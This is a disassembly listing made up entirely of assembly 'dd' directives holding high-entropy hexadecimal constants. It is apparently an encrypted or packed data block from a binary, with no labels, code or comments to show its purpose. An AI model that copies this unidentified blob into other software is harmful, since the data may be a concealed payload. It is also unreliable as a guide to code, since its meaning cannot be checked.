		dd 0CBA44A7Ah, 124814A1h, 0ED28BF14h, 0AB40B707h, 0D3710230h
		dd 46E0095Eh, 25C79C4Ch, 0E9F031F4h, 45984B7Bh,	0AA9F5311h
		dd 0C8106ECDh, 0BB786568h, 7D3A0D04h, 0E05B614Bh, 13EB417h
		dd 6B4EF2CAh, 0AAD770ECh, 0DC6F1A04h, 0BCEF2906h, 749CC701h
		dd 0F801C805h, 1D67122h, 0B046D2C9h, 52F64769h,	34498651h
		dd 7CCAFCC8h, 32110CC0h, 26C12395h, 78305E5h, 0CC446D71h
		dd 0E6E8FB64h, 5FA334Ah, 0B95DE8E9h, 1FB0840Ah,	42588737h
		dd 0B1DD277Dh, 0A064E0D1h, 80D1DB8h, 1AFCEFECh,	12BC8B08h
		dd 98CCAB57h, 8499BC7Eh, 0FA5B5AD5h, 0DBDECC1h,	46474782h
		dd 0C0571BFEh, 4F6268FBh, 2657E328h, 583E3FFDh,	43AA817Ch
		dd 0A0347317h, 4EED2D4Ah, 69F2D55h, 0C7EBF0EFh,	89380568h
		dd 0ECC2FEE9h, 51F8B111h, 52D02800h, 66BDB638h,	803140CAh
		dd 123562BCh, 14D7354h,	6C55A32h, 7C56A715h, 611A2F3Fh
		dd 399A7B6Bh, 73F5EFA7h, 0E747F59h, 0BF83FBBDh,	0C828C812h
		dd 0D64BF7C3h, 0D04588FAh, 3EA8D355h, 0E35095B9h, 0D64512C3h
		dd 72370760h, 0E03B056Ch, 0FE5FBC57h, 0C0BE55D4h, 28B92C83h
		dd 7B04F03Ah, 4888009Dh, 0FC87F280h, 0BAFADF3Ch, 0C074B57Dh
		dd 6104FD52h, 1CB9E8E4h, 5635CC2Ch, 41843688h, 0A6CC7FD8h
		dd 0EFC3D253h, 32F6BD01h, 9A601D16h, 6291228h, 10460175h
		dd 83789F55h, 0DD4DE418h, 0C4464096h, 0BD174A9Bh, 5F084017h
		dd 7D30535Ah, 25C255Bh,	0E9717E59h, 0D95D9691h,	8414909Bh
		dd 0F2FF4868h, 25387801h, 75FB4F27h, 58A9AC37h,	679D0ECFh
		dd 50FED370h, 596F082Dh, 0A7EA930Ah, 7D3D74F9h,	0D2BEBA4Ah
		dd 0C55D0157h, 764ACE3h, 0D5645446h, 0B046C04Bh, 324AEA3Bh
		dd 52263BACh, 9B3108A8h, 24AB5F13h, 0E30BC178h,	1379696Ch
		dd 5353DDD8h, 49126EE9h, 0D7D4E42Eh, 5F767974h,	0CBDFF73Ch
		dd 81D77287h, 7D1A3443h, 0FD677D0Ah, 5B7EC978h,	98134429h
		dd 81FCD53Ah, 69B11A9Fh, 23F55FFEh, 0F66BA9EDh,	36AC5E58h
		dd 0EF2B7455h, 4EAC6226h, 0C3064B53h, 50A7B556h, 0D13E258Ch
		dd 0D50B88D2h, 0DB11A16Dh, 0B430122h, 7042131Eh, 2E18A0F6h
		dd 0F20E5372h, 0F15E7754h, 0A22A0C80h, 0D73180ECh, 7F520C96h
		dd 0D695A0F8h, 2438EB69h, 65137CF1h, 65F02C70h,	0A30C00A4h
		dd 4E853511h, 83A37B57h, 4205D5B0h, 0FDE82925h,	713C4AB0h
		dd 20C14DC0h, 0ED409242h, 253B35F0h, 68C3F4BAh,	3A1D2DC1h
		dd 36BC9F56h, 5BDDAD5Eh, 0B3B02CEFh, 0F8A4705Bh, 303E3A32h
		dd 2DD01A8h, 1DC7BE56h,	48F72DE6h, 2A1F671h, 0E9068C51h
		dd 0CED79AC3h, 0DCB82ECDh, 257300E0h, 11155A0h,	23683507h
		dd 0F45033AFh, 59EC29h,	4A2DD8F7h, 898F3451h, 0D7F4D098h
		dd 843B5748h, 3CF461BAh, 42DC4F62h, 970435Fh, 3023CE40h
		dd 0D6FD6BE1h, 0AD226484h, 0DC7C0493h, 12EB2BB9h, 0EFD03510h
		dd 0B22E3188h, 73927622h, 7CFCBF30h, 5F835EE2h,	0D54B46F9h
		dd 6856D860h, 349D34F6h, 0C9189F94h, 9A046855h,	5D388F67h
		dd 986ADB80h, 0E9C70C70h, 6868F108h, 98772F2Fh,	221BE56h
		dd 0E9769F5Eh, 2CAA3DBh, 0D7C50B55h, 647B9711h,	68165A1Ah
		dd 3DBE1A26h, 5B9E323Dh, 5687EFD2h, 69F95277h, 6F084608h
		dd 0AB619204h, 0E5E92830h, 9D26BA5Bh, 4F601F48h, 0F76B53BCh
		dd 53252CE5h, 4E18A515h, 1567A3E9h, 2CB491Ch, 0A475D40h
		dd 3AC0379h, 0D5DA4B4Ah, 3C054D6Ah, 0AF8E56A3h,	10E23841h
		dd 8C20B81Ch, 64404E0Bh, 527AD81h, 2AC169A7h, 0FF4A77E9h
		dd 0E2E9D303h, 88341295h, 827812EFh, 1C414254h,	19442B0Dh
		dd 18816352h, 37F55457h, 3188026Eh, 71775BDEh, 0C5572B7h
		dd 0BCB21EFh, 11B05A52h, 37FE1009h, 0A0E75AA7h,	8355915Bh
		dd 1053743Ch, 0B14B4190h, 0F269E6B9h, 0DDF82E01h, 0B83676E0h
		dd 4CB9DA48h, 1E101FCh,	74E94C7Bh, 0D3E4032Fh, 0A1BD68E0h
		dd 5A71F04Bh, 63800AD7h, 923A6EBh, 0DA01142Fh, 0A7B01DD7h
		dd 0C425E6F0h, 2A604867h, 0C01C971Bh, 0C46DF497h, 68D690C5h
		dd 99CB1416h, 17BCD091h, 132C2624h, 68770215h, 83741A63h
		dd 0AE928464h, 0BF9CFD01h, 5369CA31h, 0B8004296h, 52980D8Dh
		dd 66F85690h, 5BF73A5Ah, 8613424Ch, 0B54E24A9h,	0E3403045h
		dd 7EF12980h, 0E226F25Eh, 31D490CEh, 0DF1DD110h, 9506A05Bh
		dd 9079D81Eh, 0C909D028h, 5D24E05Eh, 35647732h,	0D32DE598h
		dd 0EB7C540Ch, 0F997FACCh
		dd 0C1E962D0h, 1B27C4DEh, 75E59A02h, 0DD13DBB0h, 0EE4D5A80h
		dd 0F3B95AF8h, 858D4812h, 265E8AC7h, 1082B416h,	17E2F05Fh
		dd 0BE1C5709h, 971401CAh, 0BF809A82h, 299FEE18h, 0B752DA9Dh
		dd 2F253996h, 27CE5B05h, 96DF1E42h, 2F6B2D9Eh, 3CC0F3C8h
		dd 0A71BFC97h, 4E3B2D7Eh, 0F63573B0h, 0D2A09051h, 78B1A2A8h
		dd 7F16D69h, 26FF52D8h,	4B33022h, 880FBEC3h, 4650BA4Bh
		dd 0B5CB5808h, 0B11B6FFh, 7445B9E9h, 8C6D507Eh,	0D4D017C9h
		dd 105F2F9Ah, 1FEDCA80h, 0BC077E2Bh, 0DC524DA5h, 0C786119Fh
		dd 8B8EB26Eh, 424D025Eh, 685FF976h, 2AC25055h, 1806DA3Eh
		dd 10DC6F5h, 76E917EEh,	0CE2DBF42h, 96ECE82Bh, 13528EAFh
		dd 74A3132Ah, 0E8609213h, 0E050E28Fh, 0D6CB542h, 0B1B8258Ch
		dd 45B2460Bh, 0AF9A6F9Dh, 844F95Ch, 90EB86C1h, 7D785173h
		dd 2110C446h, 61ADB3F8h, 0F36DE959h, 18AB396Eh,	0EE4829E5h
		dd 12FB132Eh, 9E38A30h,	0C0BF5F7Ch, 0EF4D9BADh,	4FD4C48h
		dd 0E8052D2h, 8AD488BBh, 18661C18h, 174EFEF0h, 0BB095051h
		dd 9DC0DAC7h, 2AE92241h, 0C9B43887h, 5AF0613Ch,	7CBB585Fh
		dd 4F5B46C6h, 952E7C26h, 0E55343D9h, 1C14CD52h,	7F3A1056h
		dd 0E6379460h, 0D89FBFA8h, 0B0554A7Eh, 7D955B2Ch, 0C9B5491Ch
		dd 87CF4AC8h, 0AD4A508h, 0A41AD65Ah, 22C90041h,	936832A6h
		dd 0E912E09Ah, 0E721A95Fh, 0CA527BAh, 0CAC677Dh, 0EBB3E1A7h
		dd 6642840Bh, 37572152h, 2F317673h, 0D455776h, 93D2C77Bh
		dd 0C1C5270Fh, 27CFCB5h, 0A112615Ah, 2123D225h,	0D335EB1Dh
		dd 62659E3h, 3B2D34A1h,	6D23E91Ch, 164DFF25h, 0FEC62709h
		dd 0ED81C067h, 1C253CBBh, 0A07C7C79h, 603AB008h, 0F8C3DF5Fh
		dd 0FBCF7Dh, 0B7174776h, 3A5B4EE1h, 8760E2A5h, 6EE0A463h
		dd 0D75E3ECCh, 0FEACE08Ch, 0EA80C200h, 5AD328AFh, 94B43C50h
		dd 0FADFCC97h, 30930403h, 0E95BB0DCh, 999C5BEFh, 842A45A4h
		dd 4B4FA8CCh, 0BB89EAAh, 0F48970E9h, 8A65EF20h,	0F22001C4h
		dd 0EC1AEF57h, 3AB5502Bh, 5FF22952h, 1E109EDBh,	99D5928h
		dd 58C04978h, 8918695Dh, 0BCB7EACh, 5618A5F8h, 0A69D0C68h
		dd 7FDB5EC1h, 60307858h, 5BB45560h, 0C91CC480h,	0FE4AB551h
		dd 880E8CC5h, 92C3CEEBh, 0AB6255ECh, 565DF8B5h,	964527D0h
		dd 49E97783h, 805A07E5h, 7988C0F4h, 0F7E4A975h,	0C5EC59Ah
		dd 9076B940h, 79E91566h, 0F50393F7h, 6634F68h, 99EAD5CBh
		dd 5F5F69D0h, 29F072F8h, 5A2FE9D7h, 7B947F90h, 0EBBB5307h
		dd 5FD9F334h, 0CB12EA10h, 0E9AF0C09h, 0F122104Dh, 332D12C1h
		dd 8C2D0B38h, 8EE3FD9h,	6C68052Ch, 77ECE372h, 0B38A8C5Fh
		dd 0BD4C315h, 0F7DEA096h, 4368DF0Bh, 2089664Fh,	0B8010998h
		dd 280E305Ch, 0B89582Dh, 2C201h, 1EFD9CC4h, 0C4374BADh
		dd 0F18ABA7Fh, 16EE94C4h, 0DAE740F5h, 8C09F68Fh, 46C55D82h
		dd 5B0B1D50h, 10D50A0h,	0DC2EB525h, 0E8050599h,	21CC83F8h
		dd 0EA81A61Dh, 536401CEh, 0D7605318h, 18051459h, 741F55Dh
		dd 1139E66h, 0B165ACE8h, 8204FAF8h, 4A7768A5h, 0E40EDCCEh
		dd 0CBA8C259h, 0ACE68100h, 39733D3Dh, 0BEF70597h, 0C91637CBh
		dd 0B232BF29h, 914112C5h, 433F2554h, 420F74DAh,	2B5BC005h
		dd 0ED0D751Ch, 48AC6B57h, 237DCCE1h, 11215FCCh,	8B2E2252h
		dd 0CE8B3B6Ah, 0C10715CEh, 4B310BE8h, 9C7E965Fh, 7DD059DDh
		dd 498D100Ah, 553E680Bh, 0CF83579Ah, 1C133DC7h,	0E2EBEE88h
		dd 0A68D407Dh, 0C9853F9Ah, 936F59A5h, 32582130h, 0D8F8051Ch
		dd 15F68100h, 8977F85Ah, 0C05EF324h, 6D03CB9Eh,	0BAE906B2h
		dd 0DB6E754Ah, 0CBEDBB4Fh, 84EB04Bh, 1334FB9Fh,	0E343FBB8h
		dd 37E7DBE9h, 0A29D77DBh, 6C56841Dh, 0EEA6A582h, 0DA04F5D2h
		dd 2FD4C355h, 0E6960B87h, 0B3B13AD6h, 0B699BC2Bh, 0B76818F2h
		dd 4CC42F26h, 0D2133B91h, 0B22DD6C0h, 37DE267Dh, 48F1E26h
		dd 0BCC129C6h, 14FB4E2Dh, 3A20AE92h, 122A51BFh,	1EB6EE46h
		dd 6B330D18h, 7BB5594Fh, 277D4E41h, 68425CF3h, 57B28B1Dh
		dd 0FB2C3C45h, 494ECD03h, 0EDA00F38h, 561DE411h, 0CAC6E484h
		dd 6A00997Fh, 6850552Ch, 48B504F4h, 0F0B45549h,	18E8177Ah
		dd 5CC4B24Eh, 87CEC0FEh, 4234E9F5h, 88B8E21Fh, 313C0F04h
		dd 0DCC2C2FDh, 0C477609h, 664E6591h, 8FE32F4h, 2A1B49h
		dd 0E1815AD1h, 60B55022h, 61750C2Ah, 2B87F68h, 6E65940Fh
		dd 0DFC98067h, 264A1B5Dh, 2EED9F7h, 44B912E8h, 2BBFC2F7h
		dd 2C967FF0h, 2DFA575Bh, 9DA87E0Fh, 671A2498h, 0E92BC105h
		dd 45F27230h, 0BAD30112h, 2FDA3ACCh, 80220203h,	0BAD5E123h
		dd 1DCD4023h, 30936966h, 8057BE2h, 0C97BA85Ah, 13E10EE9h
		dd 5803B3BBh, 0B33000Eh, 0ACE95DA4h, 207BD235h,	4839CEC3h
		dd 863A58h, 7DB39DEEh, 2D5BDA29h, 64D3D689h, 21BEEA93h
		dd 2E3F937h, 18D48528h,	0AF9A53AEh, 631604E7h, 7E63622Fh
		dd 802024FEh, 915B40EEh, 781D7644h, 0F45D2DBEh,	84BE081Eh
		dd 0D86EDFCBh, 0E9E398BDh, 4C666087h, 28262C5Ah, 8F24C84Dh
		dd 0D80D5CB3h, 0B028E2E9h, 0A98214ADh, 0D70CA171h, 6B4ECC7Fh
		dd 4B13EF9Ah, 6D01EBD1h, 7AC83E93h, 5CABF3D8h, 144C9B77h
		dd 0AD12917Dh, 2941173Ch, 0F86ED461h, 9CE4FDEh,	0CAB3D84Bh
		dd 26E2645Eh, 8FCAED25h, 3EA05D61h, 4A8A5D16h, 0EF223864h
		dd 7616C29h, 5479EE3Bh,	8084ED3Ch, 10841635h, 5BE9B0AEh
		dd 1C73C697h, 2F7EB568h, 4B2D94F5h, 7C9BACD3h, 840D6448h
		dd 0EA24BB53h, 0B7346C1h, 0BCE4412Ah, 9103632Eh, 0E916C00Ch
		dd 0C2FD201Ah, 0E43DF221h, 5F1AD93h, 0B4EE5A25h, 68951F01h
		dd 9E209C62h, 5DEE5065h, 0F762F796h, 2CF955D2h,	403B2E31h
		dd 27E913ECh, 56F3029Fh, 0D51D6009h, 0BE327232h, 4C694360h
		dd 0E8565B83h, 71518463h, 2704F916h, 5D0809FEh,	7F2DB3E9h
		dd 5047BF0h, 0B4505115h, 7381BFC8h, 497B6FD6h, 0A520E329h
		dd 0D0F7C531h, 71E958BDh, 95B07180h, 0E69D56F0h, 0C1682FACh
		dd 12B5DFDCh, 0C2E0B6EAh, 0DC474EE9h, 225AA54Ch, 0CEFA0135h
		dd 5F5E49FAh, 71A33F43h, 1637F885h, 8CD330CDh, 8000D487h
		dd 0D82817C3h, 3C2C5B17h, 1352F60Ah, 72F59409h,	6947135Fh
		dd 0E3BC0038h, 0E9524306h, 0A1C0C04Bh, 0B5E5305Ch, 8427BC16h
		dd 12246A3h, 1B95272Ch,	2D4FD7F7h, 0A5BC10F4h, 161CBB02h
		dd 0E1404008h, 0AD2625CAh, 2E02D749h, 4AF65ACCh, 18715F58h
		dd 0E503E905h, 135913h,	0DB87C2F8h, 5F60D97Fh, 0F93E5187h
		dd 23EF023Ch, 0D74DFB44h, 34086228h, 0EF14121Ch, 301012CAh
		dd 0E0E05E1Fh, 5DE82F31h, 64BD9270h, 0C483097h,	0B50C30Ah
		dd 28A2E913h, 532567CAh, 0F7264474h, 3E40E217h,	0E40644BDh
		dd 49295A0Ah, 69DD517Dh, 0E816010Dh, 34173C34h,	8D7BE7EBh
		dd 9A308829h, 0D13630F1h, 32FCF786h, 54B5BC7Ch,	8EBB2425h
		dd 2E021CC9h, 0C75D5857h, 5A8390FAh, 90D6C8Ch, 65A71A58h
		dd 35A6E8FDh, 0A94E2C90h, 2CC312C9h, 7725680Ch,	80DF921Ch
		dd 1274EBE9h, 0E07C9047h, 319C3270h, 0BB41880Ch, 0E6A53144h
		dd 0BD87977h, 99743EDAh, 1825ED70h, 421F280Bh, 5026315Eh
		dd 848CF1Dh, 14B8283Dh,	0D043E927h, 0B01B91C0h,	0AE31BF96h
		dd 8AE9170Ch, 905320CDh, 808C0EFCh, 0EC66FBCCh,	671606F3h
		dd 0B204E788h, 46F2D0B7h, 1498284h, 51188EBFh, 41129A30h
		dd 230220D7h, 48997D95h
		dd 8C6E4BBh, 3047D2A1h,	0DC3C4261h, 66255E39h, 5FC930B8h
		dd 62B1455Dh, 645728EAh, 52882817h, 6B300915h, 22F74F89h
		dd 0F55AD585h, 0A2005DFBh, 2564CC31h, 0FD320F01h, 0D0E00544h
		dd 8150BB33h, 75C064C1h, 1D255B3Eh, 5C580702h, 671CE2B0h
		dd 20BBD375h, 2C27FC7Fh, 456AD4h, 1C575ABh, 0A9EDF31h
		dd 802F1458h, 7100D905h, 0D8F73303h, 12DC60Dh, 0B63526E3h
		dd 0D42C675Eh, 9825635Dh, 938D48Bh, 0F7D9937Eh,	52A82693h
		dd 92516767h, 0AD0838F7h, 157F903Bh, 8FF12D1Dh,	654479BEh
		dd 613BD67h, 1FF43C42h,	4BAF040Ch, 805854F0h, 8C22B124h
		dd 0E1E93308h, 89AD1D96h, 8CC523BAh, 9689509Fh,	478EE857h
		dd 2B3D3B0Dh, 3AA87F7Ch, 57A59F32h, 43DCD609h, 0BD5729F0h
		dd 0D5C5E4D6h, 89680591h, 0AD9855FEh, 81161CC5h, 0D0045D23h
		dd 53FA4399h, 3929410Ah, 0A461A905h, 8207712h, 5AEF0CD2h
		dd 0A17F2872h, 0EAA68CFh, 480AD452h, 0A0C5298Ch, 303889ECh
		dd 793C51EAh, 4363F333h, 88B1C00Ch, 90DD29E5h, 9D20951Ch
		dd 52B90F30h, 0C8177E9Fh, 9475250Ch, 615DBC63h,	38644C68h
		dd 41ECC427h, 0AAC43FB8h, 2A8CFF22h, 11106207h,	0F87F5AD1h
		dd 0AED04F22h, 16EEEA2Ch, 4DC656Ch, 0AED1028Dh,	55C0CFA2h
		dd 0F216851h, 0D122BD2Fh, 9AC1C0A1h, 65481843h,	4A9405FCh
		dd 21BC7BFCh, 0FC2DE67Fh, 0C76FF529h, 0A1FD7924h, 0A585E96Fh
		dd 815A252Eh, 6BA22A47h, 0E64403B3h, 54CD2568h,	0FDF61A9Bh
		dd 5EC286Fh, 20BB336Dh,	1044A8CAh, 59C42B4Fh, 2EE90704h
		dd 79BBEDF0h, 5CFB04B9h, 805BDF09h, 3F4DDE7Ah, 0CE90D08h
		dd 97BA01B1h, 2B36BF3Bh, 0E742A7F2h, 50001190h,	45666E68h
		dd 0EA955810h, 5DE83056h, 13B82CE9h, 25C1829Eh,	86564A36h
		dd 9DC2CE27h, 19AD65Bh,	0A1E0890Dh, 0DBCB80EAh,	0C037B6E0h
		dd 42D5F1Ah, 31FC6B2h, 0C34BC289h, 62A3D42Ah, 3654ED21h
		dd 0FE3BF273h, 4013BB3Dh, 0DE3CE944h, 0F9B09FD2h, 0B776B5B8h
		dd 8BCB2C3Dh, 84FD298Bh, 0FD2F1D2h, 46D7C7h, 125DE020h
		dd 0EB4B6855h, 0C0E27E3h, 0BD206617h, 0C2A1FB43h, 0FFDC41BDh
		dd 32592734h, 1094D188h, 0FA25967Dh, 0EC2541AAh, 481854C6h
		dd 0E10C7690h, 168C77C5h, 0C96DBFE9h, 6EF26BF7h, 5455AD05h
		dd 3DA6EE5Dh, 0E8C8AAD7h, 0DFD0968h, 6C007B8Fh,	27CA06EEh
		dd 822D7A3Dh, 0E91D7275h, 2E15C93h, 0EFD1D7F7h,	7C3E60E0h
		dd 8942FE13h, 67C24C40h, 0C11B6E33h, 8E4BB20Ch,	10AE3B47h
		dd 0C6808DFh, 2D7F2714h, 0ED2E91FFh, 1004D320h,	8FCD02EEh
		dd 0B26EB82Ah, 42DFE9C5h, 1F846A30h, 94D6F01h, 9A7F594Ch
		dd 0A583C5E6h, 24EBE5F5h, 6605A18h, 0B4806E98h,	0CCFE0586h
		dd 0D7D3F480h, 3076A138h, 4B982FFCh, 0EF19485Fh, 0BD04ABD7h
		dd 0EAC2F788h, 278708A6h, 0A4A01077h, 277C5C16h, 44BB82A5h
		dd 0F463765Eh, 88BF5B1Dh, 635AC198h, 0BB931EF2h, 0EC4973F4h
		dd 2662BFCAh, 54C55AF4h, 0E909D1ADh, 13AE2178h,	3CFD0FC0h
		dd 6B544368h, 4E09BB64h, 0FD58F636h, 489B9C60h,	1E410580h
		dd 89121E15h, 3E203C63h, 4F7660F6h, 27C2465Eh, 9EDDF869h
		dd 0B0574B27h, 7E8C19Ah, 17D4B1Bh, 8548EE9h, 0C5D75D27h
		dd 0B7681E9Eh, 8D895BD7h, 238981D1h, 0D6C5A69Eh, 0C918398Ah
		dd 45DDEA5h, 0EBECD1FFh, 0E7755D25h, 0D34D97FEh, 0D6BAE627h
		dd 664AB170h, 9657CECh,	66C0AF06h, 0C11511E9h, 602EF1C9h
		dd 27914102h, 4E742697h, 0C53D000Fh, 3BC03C32h,	5F0B6217h
		dd 0BBE6057Ch, 0FE31FA18h, 0CE6963A4h, 4063F95Fh, 3404B995h
		dd 0F9017E10h, 5F380810h, 53CB219Eh, 3E8AB1D2h,	0C928FDA0h
		dd 1690DF14h, 5797D831h, 439F4E94h, 0C673A1BCh,	13CAB9D4h
		dd 0AE6C965Ch, 1BB2B12h, 1336641Eh, 0FA788201h,	0C078B86Eh
		dd 3E6A8395h, 0C1C070A1h, 0AC06E130h, 601B26DEh, 47A63059h
		dd 0D2B0285Fh, 296C4DB2h, 2DD0E05Ah, 3C4BDA08h,	74466A00h
		dd 0CF09200Ah, 17429859h, 9977C0E9h, 1151F916h,	0D16FB49Fh
		dd 6A48213Bh, 49C5B6DCh, 4580681Eh, 876E530Fh, 0DDF7EB18h
		dd 2F38108h, 91ACF0BFh,	0C3DE1AE9h, 1B685D03h, 0A6AF8570h
		dd 46E90975h, 884579B9h, 0ED24E315h, 7B199F01h,	0EB85D45h
		dd 80702779h, 0D1560975h, 82F0B0AFh, 35241319h,	0DE0BDA41h
		dd 627C5472h, 0B3006736h, 73E38030h, 0C0F30C77h, 1C0ACBFEh
		dd 9BE6FE97h, 92C9F95Ch, 1DED7FC0h, 3009AB93h, 92CFD6FCh
		dd 0E056FA05h, 0CB9D1FABh, 275AF5A5h, 0C292330h, 27E0CBBFh
		dd 0C47FF344h, 80CE4F97h, 51CAFED4h, 0F6D5881Ch, 0DEEA25BAh
		dd 86D71E46h, 185A5BFDh, 0D1C5FE2Eh, 97E16B08h,	0DC0CE204h
		dd 3358EB10h, 201EA816h, 0D769688Ah, 2581358h, 23E47B9Eh
		dd 0DE1DD01h, 78E77CE3h, 208EF35Ch, 5B539A7Dh, 0F7E909h
		dd 17502D26h, 3C4CBA52h, 0E99F1653h, 0C7C73290h, 8B1EBD8Ah
		dd 256B850h, 0D5176DACh, 736891CCh, 0BC2BE13Eh,	34FBE47Ah
		dd 0D609AA22h, 0B9E5EFDh, 4BD406E9h, 83E1F789h,	1E4138C0h
		dd 173C775Fh, 0BB2B8C88h, 36445A04h, 49AF4B16h,	0D940DB3Ah
		dd 39093772h, 3AFC68FDh, 20D0DD70h, 0E909D99Ch,	9C3FD8D0h
		dd 5CB93E4h, 762B5C1h, 3CEB29B5h, 4E59E9B7h, 8BFF4EFDh
		dd 0BAE90D40h, 7C2D4C0Eh, 0DF95E9E0h, 0DE3128C7h, 0F608F326h
		dd 45205EBCh, 0FF442C8Bh, 0C127FD71h, 53861041h, 622ABE00h
		dd 0E963A026h, 4A0D2E1Ah, 1C62D337h, 0C53E56E9h, 0ACD2EB9Ah
		dd 887E694Eh, 80FCF2D2h, 0CC46F5BCh, 14BACD37h,	589B0526h
		dd 1CC8462Fh, 25730668h, 9EAC1C55h, 87E97805h, 0BB04F6BAh
		dd 1B4C51A7h, 93D87783h, 0E1E85EC1h, 0E06D2F37h, 0B60B1E36h
		dd 4803D016h, 9B751D49h, 0BD2F0443h, 5F8E89D7h,	5BE96268h
		dd 0D6FD0F54h, 3AF95178h, 7646380Ch, 8AD70786h,	0EFF22928h
		dd 112BE95h, 0EA0721CFh, 80F7548Dh, 0E8596054h,	2BD2C3Ah
		dd 29907ABFh, 4A0077CDh, 60960117h, 82480D3Dh, 45E92E10h
		dd 6C4DFC32h, 27449F55h, 24CD7889h, 61B0DFEDh, 7A4A685Bh
		dd 0D99639EDh, 56B77B8Eh, 24A1E90Ch, 0B6D3F51Dh, 33779F56h
		dd 78EC2EE2h, 5E300990h, 1A22537Ch, 0C5D52004h,	0BBD99655h
		dd 11F7F440h, 9D9BC4E0h, 3120E358h, 905E65Dh, 56917584h
		dd 734885Dh, 16D96427h,	0BCFBD7E9h, 4E02F35Dh, 314907BEh
		dd 2BBF72F8h, 4A61824Ah, 6E30F565h, 2EDD34B0h, 20EB78h
		dd 0E06A9EE9h, 0A0ED296Fh, 0CC9708D2h, 1CD96895h, 1C2F3F1Ch
		dd 7BBD7516h, 1D428296h, 8E4946A9h, 590840EDh, 0AB591FE9h
		dd 0BE0F02B6h, 7FE268C8h, 40ED29A2h, 38A08166h,	5280C35Ch
		dd 25EA98B2h, 5A59F888h, 0BB7BB40h, 0B97D4A6Ch,	60F602F5h
		dd 0C03C7A30h, 81C8D05Ah, 12112C58h, 554435D7h,	42FE59CAh
		dd 5A0A72FCh, 0DD60BD92h, 9BC44963h, 0FF165073h, 0BA4B7C9Fh
		dd 0C16BFA29h, 2FFA248h, 4378405Eh, 7493042h, 9E57F27Ah
		dd 10AA3C4Eh, 354B08C8h, 9C75809Ch, 52610767h, 0F73CB680h
		dd 671F9C9Ch, 9CBADF6Bh, 123E23FEh, 0A5BF0C05h,	0EBBC3BFAh
		dd 8122924h, 501B9CAh, 3A2A20F5h, 0B71E07E8h, 88F560CBh
		dd 2AFAE583h, 2F1B599Dh, 23946BF2h, 0CF67839Bh,	3D94A764h
		dd 0D0316BEh, 2E675907h, 673096B5h, 9C7B16A2h, 94C6002Ah
		dd 29D647FDh, 40DDF040h, 0A40B68EDh, 654A775Dh,	8625BC1Eh
		dd 915B44DFh, 5BCB080Dh
		dd 86A9DE39h, 17555C07h, 23DAE24Dh, 2E85D0Bh, 1B13B672h
		dd 0DEF02193h, 3D114117h, 67AE035Dh, 9010C96h, 509E6811h
		dd 1168945Eh, 0A84A2910h, 31EC10B1h, 0A57E8451h, 2AACEC4Dh
		dd 885AF99Fh, 0DD5A5A54h, 5A27F77Bh, 282F2713h,	421F2B22h
		dd 273B3500h, 310F2DBCh, 0E9C1D65Eh, 402EE620h,	5647BC99h
		dd 0D57D0160h, 0E55ED430h, 2839EEE6h, 0CC42D8Ch, 0CD6F0C8h
		dd 47188E0Ch, 1624650Bh, 2CC5C5Dh, 0F85A4C12h, 97BEE0B6h
		dd 73722478h, 0D931ABCh, 2E534455h, 0AD811EE9h,	5A587840h
		dd 445279B5h, 4E84E8AEh, 38513E69h, 5902917Eh, 0E887B7Fh
		dd 6C2329BFh, 2AC7C101h, 2DF12C08h, 2571909h, 707F2Fh
		dd 825AFD2Dh, 0C301DD12h, 3DEC9808h, 126EB351h,	0D8EBA27Ah
		dd 4A5737C2h, 4006F92Dh, 0DD955A08h, 8FE8139h, 0B30A4A3Dh
		dd 802779F9h, 9D8664CAh, 772BF800h, 6CBF161Fh, 0CF1501Ah
		dd 9829C151h, 581E5A21h, 0BAB35FDh, 50E93E0Ch, 3CF6B718h
		dd 35BB4BE6h, 39C0CE00h, 0EEC161D5h, 3E0024Ch, 128D133Ah
		dd 23C4FC21h, 16BC88D5h, 7FBAEBB0h, 29236317h, 8049CF1h
		dd 66128AE3h, 0C2D6048Fh, 0DA680B09h, 6BC7F4C3h, 0EC5F919h
		dd 150CFCA4h, 0CEE6F56h, 3D3C1261h, 466006ACh, 8E7FB614h
		dd 4BE92CAEh, 0D02980A5h, 0CF37652Dh, 0C2311A1Ch, 7008E9BCh
		dd 22080BE9h, 65851040h, 0E6CDAF5Ah, 685E032Bh,	0BB843FABh
		dd 5C846AA3h, 2FB0FA66h, 0F8D5D758h, 0EB89186Dh, 0BB4A4C40h
		dd 67500A8h, 0EFE92794h, 2C239D5Eh, 8C5A4F68h, 88AA1783h
		dd 78BC2040h, 3F805A80h, 0F49384EBh, 0DFD4F24Dh, 0C32C754Ch
		dd 9D3898F5h, 1E2C4D74h, 6A03E942h, 727BDFE4h, 0C08FC949h
		dd 0E6806570h, 0C8302FF1h, 955ED5FEh, 0A8E240F6h, 27BAD90Dh
		dd 7439EC57h, 0C27F96CAh, 0B5475456h, 0E9133A22h, 1021A7B4h
		dd 59216323h, 95B54644h, 39EF0CA0h, 90FC5F95h, 0E908804Ch
		dd 0FD1CBA52h, 985A0B20h, 1B83391Eh, 0FCBEEB40h, 8F50CB5h
		dd 0F9ECB17Fh, 0EE7981F2h, 4B4136C6h, 40F0B82Bh, 612FE908h
		dd 6899E8D0h, 60863D5Bh, 0A5DD9B97h, 0BFB904F9h, 0A80DD0B4h
		dd 5E68ADBFh, 0C85DD112h, 0C4FA041Fh, 0CDA2FAA1h, 87DE9352h
		dd 33F2C180h, 0F1B19CE1h, 0BBC3E405h, 120BDA9Eh, 93FF7107h
		dd 0BABB4130h, 2A0F3558h, 0F21D5EE8h, 0C5D812Ch, 0DE39E952h
		dd 3780E274h, 895E5384h, 5550CBF8h, 32BA60C8h, 70D4B3CBh
		dd 0D32127E6h, 0EB168B6Eh, 0B70220C9h, 77E3D143h, 36577D06h
		dd 0B3410A67h, 29E7A299h, 65D485C1h, 38DD35C8h,	89166316h
		dd 0A0EE1FD3h, 2BF95A4Fh, 0BB15C8F4h, 77210B40h, 642D35D8h
		dd 5326025Bh, 73F73FB9h, 737627E1h, 5CBBDC49h, 6B1CD795h
		dd 4BED3FFBh, 0B938F013h, 151C377Eh, 4743F79Dh,	0D80629FBh
		dd 22F569F1h, 779C326h,	0EFE45EFEh, 7DE3FE9Eh, 0AA5F33C5h
		dd 0E1303D39h, 0D12D80D6h, 30754BECh, 0A0431409h, 0E99F8170h
		dd 3472201Bh, 903A9412h, 880AC4EEh, 8A164164h, 0F6CDECAEh
		dd 32681C68h, 0EF772517h, 0ACD70AC0h, 0E7140F5h, 1767F7Bh
		dd 8828BB8h, 4D275B86h,	0C9955DECh, 0C0D60881h,	1467C9BDh
		dd 0CF4A932Ch, 8500733Fh, 0E9CD295Ah, 46B559CFh, 0B9C23007h
